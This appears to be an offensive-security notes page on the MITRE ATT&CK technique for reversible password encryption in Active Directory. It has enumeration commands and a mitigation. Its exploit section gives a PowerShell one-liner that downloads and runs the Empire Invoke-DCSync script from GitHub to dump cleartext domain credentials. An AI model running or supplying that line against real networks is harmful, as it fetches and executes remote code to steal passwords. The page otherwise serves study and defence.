Reversible Encryption

https://attack.mitre.org/techniques/T1556/005/

ATT&CK ID: T1556.005

Permissions Required: Administrator | User

Description

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters

2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters

3. Global LSA secret (G$MSRADIUSCHAPKEY)

4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher. In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.

[Source]

Techniques - Enumeration

The following technique(s) describe method's of which to identify accounts which have AllowReversiblePasswordEncryption enabled.

Active Directory

Active Directory Users and Computers can be utilized to manually identify accounts with AllowReversiblePasswordEncryption enabled.

PowerShell

Get-ADUser -filter {AllowReversiblePasswordEncryption -eq $True} -Properties "AllowReversiblePasswordEncryption"

Techniques - Exploit

Invoke-DCSync

Performing a DCSync attack against the primary domain controller will reveal clear text credentials for accounts that have the flag ENCRYPTEDTEXT_PASSWORD_ALLOWED enabled.

iex (iwr -usebasicparsing  https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-DCSync.ps1);Invoke-DCSync -AllData

Mitigation

• Ensure that AllowReversiblePasswordEncryption property is set to disabled unless there are application requirements.

Further Reading

Dump Clear-Text Passwords: https://adsecurity.org/?p=2053